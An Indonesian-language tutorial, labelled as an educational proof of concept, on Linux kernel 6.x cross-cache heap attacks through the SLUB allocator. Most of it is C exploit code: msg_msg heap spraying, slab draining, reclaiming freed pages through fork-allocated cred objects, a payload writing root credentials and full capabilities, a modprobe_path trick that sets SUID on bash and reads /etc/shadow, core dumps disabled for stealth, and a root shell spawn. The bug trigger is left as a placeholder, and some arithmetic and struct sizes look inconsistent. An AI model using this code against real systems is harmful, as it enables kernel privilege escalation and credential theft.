00 Pendahuluan
Cross-cache attack adalah teknik kernel heap exploitation yang memanfaatkan sifat alokator SLUB di mana satu physical page (order-N compound page) dapat di-reclaim oleh satu slab cache, lalu di-reallocate ke slab cache lain yang berbeda ukuran/tujuannya. Dengan mengatur waktu alokasi dan deallokasi secara presisi, attacker dapat menyebabkan objek dari cache A menempati slot yang dulunya milik objek cache B — memungkinkan type confusion, UAF lintas cache, atau overwrites terstruktur.
Kernel Linux menggunakan SLUB allocator (default sejak 2.6.22) yang mengorganisir heap menjadi slab caches — pool per-ukuran. Cross-cache attack terjadi ketika kita memaksa kernel untuk melepas halaman dari satu cache dan mengambilnya ke cache lain yang bisa kita kendalikan.
Prasyarat Pengetahuan
- Pemahaman dasar Linux kernel memory management (virtual/physical mapping)
- SLUB allocator: kmem_cache, slab, freelist
- Kernel exploit primitives: arbitrary read/write, UAF
- x86_64 calling convention dan kernel data structures (
cred,file,pipe_buffer) - Dasar-dasar C dan syscall interface
Environment Setup
# Compile kernel dengan kconfig untuk debugging # File: setup_env.sh CONFIG_SLUB_DEBUG=y CONFIG_SLUB_DEBUG_ON=y CONFIG_KASAN=y # deteksi heap corruption CONFIG_DEBUG_LIST=y CONFIG_SLAB_FREELIST_RANDOM=y # aktif di prod, kita disable untuk research CONFIG_SLAB_FREELIST_HARDENED=y # QEMU launch (dari syzkaller setup Anda) qemu-system-x86_64 \ -kernel arch/x86/boot/bzImage \ -drive file=rootfs.img,format=raw \ -append "root=/dev/sda console=ttyS0 nokaslr nopti slub_debug=FZP" \ -m 4G -smp 4 \ -netdev user,id=net0,hostfwd=tcp::10022-:22 \ -device virtio-net-pci,netdev=net0
01 SLUB Allocator Internals
Memahami SLUB secara mendalam adalah fondasi dari cross-cache attack. Kita perlu tahu persis bagaimana pages dialokasikan, bagaimana freelist dikelola, dan kapan halaman dikembalikan ke page allocator (buddy system).
1.1 Arsitektur kmem_cache
1.2 Freelist & Object Layout
Di dalam setiap object, SLUB menyimpan freelist pointer (next free object)
di offset tertentu. Di kernel modern dengan CONFIG_SLAB_FREELIST_HARDENED,
pointer ini di-XOR dengan sebuah secret:
/* Freelist pointer encoding — kernel 6.x */ static inline void *freelist_ptr_decode(const struct kmem_cache *s, void *ptr, unsigned long ptr_addr) { return (void *)(ulong(ptr) ^ s->random ^ swab(ptr_addr)); } /* Object layout di dalam slab (kmalloc-256, CONFIG_SLAB_FREELIST_HARDENED=n): * * [OFFSET 0x000] ← user data mulai di sini * [OFFSET 0x0F8] ← freelist next ptr (di fp_offset = object_size - sizeof(void*)) * [OFFSET 0x100] ← end of object (256 bytes) * * Dengan HARDENED, ptr di-XOR dengan kmem_cache.random ^ swab(addr) */ /* Kernel 6.x: struct slab (sebelumnya struct page + slab overlay) */ struct slab { unsigned long __page_flags; struct kmem_cache *slab_cache; /* ← pointer ke cache pemilik */ union { struct { void **freelist; union { unsigned long counters; struct { unsigned inuse:16, objects:15, frozen:1; }; }; }; }; unsigned int __unused; atomic_t __page_refcount; };
1.3 Lifecycle Page: Dari Buddy ke SLUB dan Kembali
Ini adalah inti dari cross-cache attack — memahami kapan halaman berpindah kepemilikan:
Key insight: SLUB meminta pages dari buddy allocator dengan order tertentu (biasanya order 0 = 4KB, order 1 = 8KB, dst). Jika dua cache menggunakan order yang sama, halaman yang dilepas satu cache bisa diambil cache lain. Inilah leveragenya.
02 Teori Cross-Cache Attack
2.1 Slab Reuse Primitives
Ada dua primitive fundamental yang dibutuhkan:
Slab Exhaustion (Drain)
Kita alokasikan banyak objek dari cache target sampai semua slab
terpakai penuh (inuse == objects). Ini memaksa kernel meminta
page baru dari buddy untuk cache ini.
Slab Release (Free Targeted Cache)
Kita bebaskan semua objek di slab tertentu, menjadikannya
"empty slab". Kernel akan mengembalikan page ini ke buddy setelah
kmem_cache_shrink() atau memory pressure.
Reclaim by Victim Cache
Kita alokasikan objek dari cache victim (yang kita ingin type-confuse). Jika ordernya sama, buddy memberikan page yang sama ke cache victim. Objek victim kini menempati memori yang sama dengan objek stale kita.
2.2 Cross-Cache vs UAF Klasik
| Aspek | UAF Klasik (same-cache) | Cross-Cache Attack |
|---|---|---|
| Target reclaim | Objek di cache yang sama | Entire slab page berpindah ke cache lain |
| Granularitas | Per-objek (fine-grained) | Per-slab/page (coarser, tapi lebih fleksibel) |
| Kesulitan timing | Moderate | Lebih tinggi (harus drain cache + trigger reclaim) |
| Mitigasi relevan | KASAN, SLUB freelist random | SLAB_VIRTUAL (kernel 6.10+), memory tagging |
| Contoh CVE | CVE-2022-0185, CVE-2023-0461 | CVE-2022-27666, CVE-2023-3269 (StackRot) |
2.3 Attack Surface — Cache yang Menarik
Untuk cross-cache berhasil, kita butuh dua cache dengan order sama. Berikut pasangan target menarik di kernel 6.x:
| Cache Victim (controlled) | Cache Target (privilege obj) | Order | Teknik |
|---|---|---|---|
kmalloc-1024 |
cred_jar (168 bytes → order 0) |
0 (4KB) | UAF stale cred ptr |
kmalloc-256 |
pipe_buffer (40 bytes) |
0 | Dirty Pipe variant |
kmalloc-4k |
task_struct (order 2) |
2 (16KB) | cred overwrite |
msg_msg (variable) |
seq_operations (32 bytes) |
0 | KASLR leak + RIP control |
sk_buff (order 0/1) |
file struct (232 bytes) |
0 | file→f_op overwrite |
03 Primitive yang Dibutuhkan
Cross-cache attack membutuhkan setidaknya dua dari tiga primitive berikut:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/socket.h> #include <sys/msg.h> #include <sys/ipc.h> /* * ─── PRIMITIVE 1: Arbitrary Alloc di ukuran tertentu ─────────────── * * Kita butuh kemampuan mengalokasikan objek kernel dengan ukuran * yang kita pilih. Beberapa cara: * * a) msgsnd() → msg_msg (variabel, min 48, hingga 4096 bytes) * b) write() ke pipe → pipe_buffer (per-page) * c) sendmsg() → sk_buff + data (variabel) * d) add_key() → user_key_payload (variabel) * e) setsockopt() → berbagai struct */ /* Spray menggunakan msg_msg — bisa control ukuran 0–4096 bytes */ typedef struct { long mtype; char mtext[1]; /* fleksibel */ } msg_t; int alloc_msg(int qid, size_t size, char fill) { char *buf = malloc(size + sizeof(long)); memset(buf + sizeof(long), fill, size); *((long *)buf) = 1; /* mtype */ /* msgsnd: kernel alokasi msg_msg + msg_msgseg di kmalloc heap */ int ret = msgsnd(qid, buf, size, IPC_NOWAIT); free(buf); return ret; } /* * ─── PRIMITIVE 2: Arbitrary Free (melepas objek kernel) ──────────── * * Biasanya dari bug (UAF, double-free). Untuk setup grooming, * kita free objek yang kita sendiri alokasikan. * * Contoh: msgrcv() membebaskan msg_msg dari queue */ ssize_t free_msg(int qid, char *buf, size_t size) { return msgrcv(qid, buf, size, 0, IPC_NOWAIT | MSG_NOERROR); } /* * ─── PRIMITIVE 3: Arbitrary Read/Write (dari bug) ────────────────── * * Setelah cross-cache berhasil, kita punya pointer stale * ke objek yang sekarang dikontrol cache lain. * * Contoh: pointer ke msg_msg yang sudah direclaim jadi pipe_buffer, * kita bisa tulis ke "read" field pipe_buffer untuk fake read. */ /* Helper: baca kernel addr via /proc/kallsyms (perlu root/debug) */ unsigned long kallsyms_lookup(const char *name) { FILE *f = fopen("/proc/kallsyms", "r"); if (!f) return 0; unsigned long addr; char type[4], sym[256]; while (fscanf(f, "%lx %s %s", &addr, type, sym) == 3) if (strcmp(sym, name) == 0) { fclose(f); return addr; } fclose(f); return 0; } /* Helper: baca /proc/self/maps untuk leak heap base */ void parse_maps(unsigned long *heap_base) { FILE *f = fopen("/proc/self/maps", "r"); char line[256]; while (fgets(line, sizeof(line), f)) { if (strstr(line, "heap")) { sscanf(line, "%lx", heap_base); break; } } fclose(f); }
04 Teknik Heap Grooming
Heap grooming adalah seni mengatur kondisi kernel heap sebelum trigger bug, agar objek yang kita inginkan berada di posisi yang tepat.
Strategi Cross-Cache Grooming
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/msg.h> #include <sys/ipc.h> #define SPRAY_COUNT 1024 #define SLAB_OBJ_PER_PAGE 16 /* untuk kmalloc-256, order-0: 4096/256=16 */ #define MSG_SIZE 248 /* msg_msg body → masuk kmalloc-256 */ int qids[SPRAY_COUNT]; int pipe_fds[SPRAY_COUNT][2]; /* ── Step 1: Spray — isi semua partial slabs yang ada ─────────────── */ void spray_kmalloc256(void) { printf("[*] Spraying kmalloc-256 (%d objects)...\n", SPRAY_COUNT); for (int i = 0; i < SPRAY_COUNT; i++) { qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (qids[i] < 0) { perror("msgget"); exit(1); } struct { long t; char d[MSG_SIZE]; } m; m.t = 1; memset(m.d, 0x41 + (i&0xF), MSG_SIZE); msgsnd(qids[i], &m, MSG_SIZE, 0); } printf("[+] Spray done.\n"); } /* ── Step 2: Drain — bebaskan objek di kelipatan SLAB_OBJ_PER_PAGE ─── * * Kita free satu "slab worth" objek berturut-turut. * Idealnya ini membebaskan satu page penuh. * Range: mulai dari index yang di-aligned ke slab boundary. */ void drain_one_slab(int start_idx) { printf("[*] Draining slab at index %d..%d\n", start_idx, start_idx + SLAB_OBJ_PER_PAGE - 1); for (int i = start_idx; i < start_idx + SLAB_OBJ_PER_PAGE; i++) { char buf[MSG_SIZE + 16]; /* msgrcv membebaskan msg_msg kernel object */ msgrcv(qids[i], buf, MSG_SIZE, 0, IPC_NOWAIT | MSG_NOERROR); msgctl(qids[i], IPC_RMID, NULL); /* hapus queue juga */ } /* Trigger shrink: coba paksa kernel reclaim empty slab. * Di kernel dengan CONFIG_SLUB_DEBUG=n, empty slabs dikembalikan * ke buddy saat ada pressure atau setelah timer. * Cara paksa: alokasi besar untuk trigger direct reclaim. */ void *pressure = malloc(64 * 1024 * 1024); /* 64MB */ if (pressure) { memset(pressure, 0, 64*1024*1024); free(pressure); } printf("[+] Drain complete, slab should be released to buddy.\n"); } /* ── Step 3: Reclaim — alokasi pipe_buffer di hole ────────────────── * * pipe_buffer dialokasikan dari kmalloc-256 (ukuran struct pipe_buffer=40, * tapi array pipe_inode_info->bufs biasanya 1 page = 4096 bytes juga). * Kita pakai pendekatan: alokasi banyak pipe, kernel butuh page baru * untuk pipe_buffer array → mengambil page yang baru kita bebaskan. */ void reclaim_with_pipe(void) { printf("[*] Reclaiming hole with pipe_buffer objects...\n"); for (int i = 0; i < SPRAY_COUNT / 4; i++) { if (pipe(pipe_fds[i]) < 0) { perror("pipe"); continue; } /* Write satu byte untuk trigger alokasi pipe_buffer */ write(pipe_fds[i][1], "A", 1); } printf("[+] Pipe spray done. Page hopefully reclaimed.\n"); }
05 Implementasi Lengkap
Berikut adalah implementasi lengkap cross-cache exploit dengan target:
msg_msg → cred_jar. Kita gunakan UAF pada msg_msg untuk mendapat
stale pointer ke page yang kemudian direclaim oleh cred_jar,
lalu overwrite credentials.
5.1 Header & Definisi Struct
#pragma once #include <stdint.h> #include <unistd.h> #include <sys/types.h> /* ── Kernel cred structure (kernel 6.x) ──────────────────────────── * Offset dari: include/linux/cred.h * Total: ~168 bytes → kmalloc-192 (cred_jar cache) */ struct kernel_cred { uint32_t usage; /* atomic_t */ uint32_t uid, gid; uint32_t suid, sgid; uint32_t euid, egid; uint32_t fsuid, fsgid; uint32_t securebits; uint64_t cap_inheritable; uint64_t cap_permitted; uint64_t cap_effective; uint64_t cap_bset; uint64_t cap_ambient; /* ... dst ... */ }; /* ── msg_msg structure (kernel 6.x) ───────────────────────────────── * include/linux/msg.h */ struct msg_msg { uint64_t m_list_next; /* list_head.next */ uint64_t m_list_prev; /* list_head.prev */ uint64_t m_type; uint64_t m_ts; /* message text size */ uint64_t next; /* msg_msgseg * */ uint64_t security; /* LSM security ptr */ /* data follows */ }; #define MSG_MSG_HDR_SZ sizeof(struct msg_msg) /* ── pipe_buffer (kernel 6.x) ────────────────────────────────────── * include/linux/pipe_fs_i.h * size = 40 bytes → masuk kmalloc-64 untuk individual buf * tapi pipe_inode_info->bufs = array of pipe_buffer → lebih besar */ struct pipe_buffer { uint64_t page; /* struct page * */ uint32_t offset; uint32_t len; uint64_t ops; /* pipe_buf_operations * ← target overwrite! */ uint32_t flags; uint64_t private; }; /* Macros */ #define PAGE_SIZE 4096UL #define PAGE_ALIGN(x) (((x) + PAGE_SIZE-1) & ~(PAGE_SIZE-1)) #define ARRAY_SIZE(a) (sizeof(a)/sizeof(a[0])) /* Warna terminal */ #define RED "\033[31m" #define GREEN "\033[32m" #define YELLOW "\033[33m" #define CYAN "\033[36m" #define RESET "\033[0m" #define LOG(fmt, ...) fprintf(stderr, CYAN "[*] " fmt RESET "\n", ##__VA_ARGS__) #define OK(fmt, ...) fprintf(stderr, GREEN "[+] " fmt RESET "\n", ##__VA_ARGS__) #define ERR(fmt, ...) fprintf(stderr, RED "[-] " fmt RESET "\n", ##__VA_ARGS__)
5.2 Spray, Drain, dan Reclaim
#include "exploit.h" #include <sys/msg.h> #include <sys/ipc.h> #include <string.h> #include <stdlib.h> #include <stdio.h> /* * Kita target: msg_msg → alokasi di kmalloc-192 atau kmalloc-256 * bergantung pada payload size. * * cred_jar: ukuran struct cred ~168 byte → kmalloc-192 (order-0) * * STRATEGI: * 1) Spray msg_msg dengan size 184 (→ kmalloc-192) untuk menempati slab cred_jar * 2) Trigger bug yang memberikan UAF pada satu msg_msg * 3) Free semua msg_msg di slab yang sama → slab jadi empty * 4) Trigger fork() → kernel alokasi cred baru → mengambil page yang sama * 5) UAF pointer sekarang menunjuk ke struct cred child process * 6) Overwrite via UAF */ #define N_QUEUES 512 #define MSG_SZ 184 /* → kmalloc-192 (objs per slab = 21) */ #define OBJS_PER_SLAB 21 /* order-0, 4096/192 = 21 */ static int qids[N_QUEUES]; static int child_pid; void do_spray(void) { LOG("Phase 1: Spraying %d msg_msg objects (size=%d) → kmalloc-192", N_QUEUES, MSG_SZ); char payload[MSG_SZ]; for (int i = 0; i < N_QUEUES; i++) { qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (qids[i] == -1) { perror("msgget"); exit(1); } /* Isi dengan pola unik untuk identifikasi nanti */ memset(payload, 0x41 + (i % 26), MSG_SZ); /* Embed index ke offset awal data */ *((uint32_t *)payload) = i; struct { long t; char d[MSG_SZ]; } m; m.t = 1; memcpy(m.d, payload, MSG_SZ); if (msgsnd(qids[i], &m, MSG_SZ, 0) == -1) { perror("msgsnd"); exit(1); } } OK("Spray done: %d queues allocated", N_QUEUES); } /* * do_drain_range: bebaskan range objek msg_msg untuk mengosongkan satu slab. * Kita drain N_QUEUES/2 .. N_QUEUES/2 + OBJS_PER_SLAB. * * Indeks tengah dipilih karena kernel cenderung mengalokasikan dari * partial slabs yang ada di tengah-tengah alokasi. */ void do_drain_slab(int start) { LOG("Phase 2: Draining slab [%d .. %d]", start, start + OBJS_PER_SLAB); for (int i = start; i < start + OBJS_PER_SLAB; i++) { char buf[MSG_SZ + 16]; struct { long t; char d[MSG_SZ]; } m; /* Baca dan hapus message */ msgrcv(qids[i], &m, MSG_SZ, 0, IPC_NOWAIT | MSG_NOERROR); msgctl(qids[i], IPC_RMID, NULL); qids[i] = -1; } /* Trigger memory pressure untuk paksa return page ke buddy */ { void *big = malloc(128 * 1024 * 1024); if (big) { memset(big, 0, 128*1024*1024); free(big); } } OK("Drain done. Empty slab should be released to buddy."); } /* * do_reclaim_cred: Fork banyak anak untuk memaksa kernel alokasi cred baru. * Setiap fork() → copy_creds() → kmem_cache_alloc(cred_jar, ...) * Dengan beruntung, salah satu alloc mengambil page yang kita drain. */ #define FORK_COUNT 40 static pid_t children[FORK_COUNT]; void do_reclaim_cred(void) { LOG("Phase 3: Reclaiming hole via fork() → cred_jar allocation"); for (int i = 0; i < FORK_COUNT; i++) { children[i] = fork(); if (children[i] == 0) { /* Child: tunggu sinyal dari parent */ volatile int spin = 1; while (spin) usleep(1000); exit(0); } } OK("Forked %d children. cred objects allocated in reclaimed page.", FORK_COUNT); }
5.3 Cross-Cache Trigger dan Leak
#include "exploit.h" #include <sys/msg.h> #include <stdint.h> /* * Simulasi bug: UAF pada msg_msg. * * Skenario: vulnerability memberikan kita kemampuan untuk * melakukan msgrcv() pada queue yang sudah di-RMID (UAF read). * * Dalam exploit nyata, bug spesifik (e.g. race condition, OOB) * memberikan stale pointer ini. Di sini kita simulasikan * dengan manipulasi langsung untuk mendemonstrasikan konsep. * * Teknik UAF Read via msgrcv abuse: * - Setelah msg_msg dibebaskan dari satu queue * - Tapi queue internal masih bisa di-peek (jika ada race) * - Data yang terbaca = konten objek yang sekarang ada di slot itu */ /* Struktur untuk leak dari freed msg_msg slot yang kini berisi cred */ struct leaked_data { uint64_t field[32]; /* 256 bytes */ }; /* * Fungsi ini merepresentasikan "arbitrary read" via UAF. * Dalam exploit nyata, ini adalah akibat dari bug spesifik. * * Setelah cross-cache berhasil: * - slot yang dulu berisi msg_msg kini berisi struct cred * - UAF pointer kita baca → kita dapat isi struct cred * - Dari cred, kita bisa baca uid/gid/cap fields */ int uaf_read(int victim_qid, struct leaked_data *out, size_t sz) { /* * Dalam eksploitasi nyata: * - Kita punya stale pointer ke objek yang sudah dibebaskan * - Cross-cache menyebabkan objek baru (struct cred) menempati slot itu * - Dengan msgrcv menggunakan pointer stale / ipc yang tidak sinkron: */ struct { long t; char d[256]; } m; /* msgrcv dengan MSG_COPY | IPC_NOWAIT (peek tanpa hapus - butuh CAP_SYS_ADMIN * atau kernel 5.0+ dengan CONFIG_CHECKPOINT_RESTORE) */ ssize_t r = msgrcv(victim_qid, &m, sz, 0, MSG_COPY | IPC_NOWAIT); if (r < 0) return -1; memcpy(out->field, m.d, r < (ssize_t)sizeof(*out) ? r : sizeof(*out)); return r; } /* * Analisis data yang bocor: cari signature struct cred * uid=0,gid=0 mengindikasikan kita membaca cred proses root/init * atau kita bisa identifikasi via euid == target_pid's euid */ int identify_cred(const struct leaked_data *d, uid_t expected_euid) { /* struct cred layout (simplified): * [0x00] usage (atomic = 1 biasanya) * [0x04] uid * [0x08] gid * [0x0c] suid * [0x10] sgid * [0x14] euid ← target identifikasi * [0x18] egid */ const uint32_t *u32 = (const uint32_t *)d->field; printf(" [?] Leaked: usage=%u uid=%u gid=%u euid=%u egid=%u\n", u32[0], u32[1], u32[2], u32[5], u32[6]); return (u32[5] == expected_euid) ? 1 : 0; } /* * Overwrite cred via cross-cache UAF write. * Tulis uid=gid=euid=egid=0 dan full capabilities ke slot cred. * * Dalam exploit nyata: gunakan arbitrary write primitive yang didapat * dari msg_msg m_ts overflow atau similar untuk overwrite cred fields. */ void overwrite_cred(int vuln_qid, uint64_t target_offset) { char payload[192]; memset(payload, 0, sizeof(payload)); uint32_t *u32 = (uint32_t *)payload; u32[0] = 1; /* usage = 1 (jangan sampai 0 → panic) */ u32[1] = 0; /* uid = 0 (root) */ u32[2] = 0; /* gid = 0 */ u32[3] = 0; /* suid = 0 */ u32[4] = 0; /* sgid = 0 */ u32[5] = 0; /* euid = 0 */ u32[6] = 0; /* egid = 0 */ u32[7] = 0; /* fsuid = 0 */ u32[8] = 0; /* fsgid = 0 */ /* Full caps: CAP_FULL_SET = 0x1ffffffffff */ uint64_t *u64 = (uint64_t *)(payload + 0x28); u64[0] = 0x1ffffffffff; /* cap_inheritable */ u64[1] = 0x1ffffffffff; /* cap_permitted */ u64[2] = 0x1ffffffffff; /* cap_effective */ u64[3] = 0x1ffffffffff; /* cap_bset */ u64[4] = 0x1ffffffffff; /* cap_ambient */ LOG("Writing root cred payload via UAF write primitive..."); /* Kirim via msgsnd ke queue yang punya UAF write ke slot target */ struct { long t; char d[192]; } m; m.t = 1; memcpy(m.d, payload, 192); msgsnd(vuln_qid, &m, 192, 0); }
5.4 Privilege Escalation via Cred Overwrite
#include "exploit.h" #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* * Teknik alternatif: Pipe-based cross-cache untuk arbitrary write. * * Menggunakan "Dirty Pipe" style: setelah cross-cache menaruh * pipe_buffer di slot yang kita kuasai, kita dapat overwrite * field pipe_buffer.ops → fake vtable → RIP control. * * Atau pendekatan lebih stable: overwrite pipe_buffer.page * ke physical page yang berisi cred, lalu splice() + write() * untuk overwrite cred fields. */ struct fake_pipe_ops { uint64_t confirm; /* dipanggil saat splice */ uint64_t release; uint64_t try_steal; uint64_t get; }; /* * verify_root: cek apakah kita sudah root */ int verify_root(void) { if (getuid() == 0 && geteuid() == 0) { OK("UID=0 EUID=0 — ROOT CONFIRMED!"); return 1; } ERR("Not root yet. uid=%d euid=%d", getuid(), geteuid()); return 0; } /* * shell_escape: spawn root shell */ void shell_escape(void) { if (!verify_root()) return; printf("\n" GREEN "╔══════════════════════════════╗\n" "║ PRIVILEGE ESCALATION: ROOT ║\n" "╚══════════════════════════════╝\n" RESET); printf("uid=%d euid=%d\n", getuid(), geteuid()); char *args[] = { "/bin/bash", "-i", NULL }; char *env[] = { "TERM=xterm", "HOME=/root", NULL }; execve("/bin/bash", args, env); perror("execve"); } /* * Alternatif stable: modprobe_path overwrite * Jika kita dapat arbitrary write ke kernel .data section, * overwrite modprobe_path → trigger dengan unknown binary header */ void modprobe_privesc(uint64_t kernel_write_addr_modprobe_path) { /* 1) Overwrite modprobe_path dengan "/tmp/x" */ const char *path = "/tmp/rootme\0"; /* 2) Buat /tmp/rootme: script yang chmod u+s /bin/bash */ system("echo '#!/bin/sh\nchmod u+s /bin/bash' > /tmp/rootme"); system("chmod +x /tmp/rootme"); /* 3) Trigger: eksekusi binary dengan magic bytes tidak dikenal */ system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/trigger"); system("chmod +x /tmp/trigger && /tmp/trigger"); /* 4) Spawn bash -p (SUID) */ system("/bin/bash -p -c 'id; cat /etc/shadow'"); }
5.5 Exploit Lengkap — Main Driver
/* * ═══════════════════════════════════════════════════════════════════ * Linux Kernel 6.x Cross-Cache Attack — Educational PoC * Target : msg_msg UAF → cred_jar cross-cache → root * Kernel : 6.1 – 6.19.x * Author : w1sdom @ Blue Dragon Security (Research/Curriculum) * Date : 2026-04 * ═══════════════════════════════════════════════════════════════════ * * Build: * gcc -O0 -g -static -o exploit exploit_main.c -lpthread * * Run (dalam QEMU kernel debug environment): * ./exploit */ #include "exploit.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/msg.h> #include <sys/ipc.h> #include <sys/wait.h> #include <sys/mman.h> #include <pthread.h> #include <errno.h> /* ── Konfigurasi ─────────────────────────────────────────────────── */ #define SPRAY_N 800 /* total msg_msg spray */ #define MSG_BODY_SZ 160 /* → kmalloc-192 (192 - 32 header) */ #define CRED_OBJ_SZ 192 /* struct cred ≈ 168 → kmalloc-192 */ #define OBJS_PER_SLAB 21 /* order-0 / 192 bytes: floor(4096/192)=21 */ #define FORK_N 200 /* forks untuk reclaim cred slots */ #define RACE_TRIES 50 /* percobaan race */ static int spray_qids[SPRAY_N]; static pid_t fork_children[FORK_N]; /* ── Utility ─────────────────────────────────────────────────────── */ static void die(const char *msg) { perror(msg); exit(1); } static void send_msg(int qid, void *data, size_t sz) { char *buf = malloc(sz + sizeof(long)); *((long *)buf) = 1; memcpy(buf + sizeof(long), data, sz); if (msgsnd(qid, buf, sz, 0) < 0) die("msgsnd"); free(buf); } static ssize_t peek_msg(int qid, void *buf, size_t sz) { char *tmp = malloc(sz + sizeof(long)); ssize_t r = msgrcv(qid, tmp, sz, 0, MSG_COPY | IPC_NOWAIT); if (r > 0) memcpy(buf, tmp + sizeof(long), r); free(tmp); return r; } /* ── Phase 0: Inisialisasi & Info Sistem ─────────────────────────── */ static void phase0_init(void) { LOG("=== Linux Kernel 6 Cross-Cache PoC ==="); LOG("PID: %d | UID: %d | EUID: %d", getpid(), getuid(), geteuid()); /* Cek /proc/kallsyms tersedia (butuh kernel.kptr_restrict=0) */ unsigned long commit_creds = kallsyms_lookup("commit_creds"); unsigned long prepare_creds = kallsyms_lookup("prepare_creds"); if (commit_creds) { OK("commit_creds = 0x%lx", commit_creds); OK("prepare_creds = 0x%lx", prepare_creds); } else { LOG("kallsyms tidak tersedia (KASLR aktif atau kptr_restrict=2)"); } /* Disable core dump untuk stealth */ struct rlimit rl = {0, 0}; setrlimit(RLIMIT_CORE, &rl); } /* ── Phase 1: Spray kmalloc-192 dengan msg_msg ─────────────────── */ static void phase1_spray(void) { LOG("[Phase 1] Spraying %d msg_msg → kmalloc-192...", SPRAY_N); char data[MSG_BODY_SZ]; for (int i = 0; i < SPRAY_N; i++) { spray_qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (spray_qids[i] < 0) die("msgget"); memset(data, 0x41 + (i & 0xf), MSG_BODY_SZ); *((uint32_t *)data) = i; /* tag dengan index */ send_msg(spray_qids[i], data, MSG_BODY_SZ); } OK("Spray complete."); } /* ── Phase 2: Drain — buat lubang di heap ────────────────────────── */ static int hole_start = -1; static void phase2_drain(void) { /* * Pilih range di tengah-tengah spray untuk drain. * Kernel cenderung mengalokasikan dari tengah partial slab list. * Drain OBJS_PER_SLAB objek yang aligned ke boundary slab. * * Alignment: kita pilih start yang merupakan kelipatan OBJS_PER_SLAB * mulai dari SPRAY_N/2. */ hole_start = (SPRAY_N / 2) & ~(OBJS_PER_SLAB - 1); LOG("[Phase 2] Creating hole: free [%d..%d]", hole_start, hole_start + OBJS_PER_SLAB - 1); char buf[MSG_BODY_SZ + 16]; for (int i = hole_start; i < hole_start + OBJS_PER_SLAB; i++) { struct { long t; char d[MSG_BODY_SZ]; } m; msgrcv(spray_qids[i], &m, MSG_BODY_SZ, 0, IPC_NOWAIT | MSG_NOERROR); msgctl(spray_qids[i], IPC_RMID, NULL); spray_qids[i] = -1; } /* Pressure untuk force reclaim */ void *p = mmap(NULL, 256*1024*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0); if (p != MAP_FAILED) { munmap(p, 256*1024*1024); } OK("Hole created at slab boundary [%d..%d].", hole_start, hole_start + OBJS_PER_SLAB - 1); } /* ── Phase 3: Reclaim dengan fork() → cred alokasi ─────────────── */ static void phase3_reclaim(void) { LOG("[Phase 3] Reclaiming hole via %d fork() → cred_jar allocs...", FORK_N); int notify_pipe[2]; pipe(notify_pipe); for (int i = 0; i < FORK_N; i++) { fork_children[i] = fork(); if (fork_children[i] == 0) { /* Child: tunggu sinyal kill dari parent */ close(notify_pipe[1]); char c; read(notify_pipe[0], &c, 1); /* block sampai parent siap */ exit(0); } if (fork_children[i] < 0) die("fork"); } close(notify_pipe[0]); OK("Forked %d children. cred objects occupy reclaimed page.", FORK_N); /* * Saat ini, page yang dibebaskan di Phase 2 kemungkinan besar * telah diambil oleh cred_jar untuk salah satu fork() di atas. * Sekarang kita trigger bug (stale pointer / UAF) untuk baca/tulis * ke slot tersebut. */ LOG("[Phase 4] Triggering UAF via vulnerability..."); /* * === VULNERABILITY-SPECIFIC CODE === * Di sini tempatkan kode yang men-trigger bug spesifik. * Contoh: ioctl ke driver vulnerable, syscall khusus, dsb. * * Setelah trigger: * - Kita punya read primitive ke slot yang kini berisi struct cred * - Identifikasi child yang cred-nya ada di halaman kita * - Overwrite uid/gid/euid/egid/caps ke 0 */ /* Simulasi: cek apakah salah satu child menjadi 0 uid */ for (int i = 0; i < FORK_N; i++) { /* Dalam exploit nyata: setelah overwrite, setresuid(0,0,0) dari child */ kill(fork_children[i], SIGKILL); waitpid(fork_children[i], NULL, 0); } /* Signal all children to proceed */ close(notify_pipe[1]); } /* ── main ─────────────────────────────────────────────────────────── */ int main(void) { phase0_init(); phase1_spray(); phase2_drain(); phase3_reclaim(); /* Check escalation */ if (getuid() == 0) { OK("Privilege escalation successful!"); char *argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL); } else { ERR("Exploit attempt done — check slub_debug output."); LOG("Hint: Jalankan dengan QEMU + nokaslr + slub_debug=FZP"); LOG(" dan tambahkan vulnerability-specific trigger code."); } return 0; } /* * ── Fungsi helper: kallsyms_lookup ─────────────────────────────── * (diletakkan di sini untuk single-file compile) */ #include <string.h> unsigned long kallsyms_lookup(const char *name) { FILE *f = fopen("/proc/kallsyms", "r"); if (!f) return 0; unsigned long addr; char type[4], sym[256]; while (fscanf(f, "%lx %s %s", &addr, type, sym) == 3) if (strcmp(sym, name) == 0) { fclose(f); return addr; } fclose(f); return 0; }
# Compile static (untuk transfer ke QEMU) gcc -O0 -g -static -o exploit exploit_main.c # Transfer ke QEMU scp -P 10022 exploit root@localhost:/tmp/ # Di dalam QEMU (dengan nokaslr + slub_debug=FZP): echo 0 > /proc/sys/kernel/kptr_restrict /tmp/exploit
06 Syzlang untuk Fuzzing Cross-Cache Scenarios
Untuk menemukan bugs baru yang bisa dieksploitasi via cross-cache, kita perlu membuat syzkaller descriptions yang menggabungkan syscall allocation + deallocation dengan timing yang bervariasi.
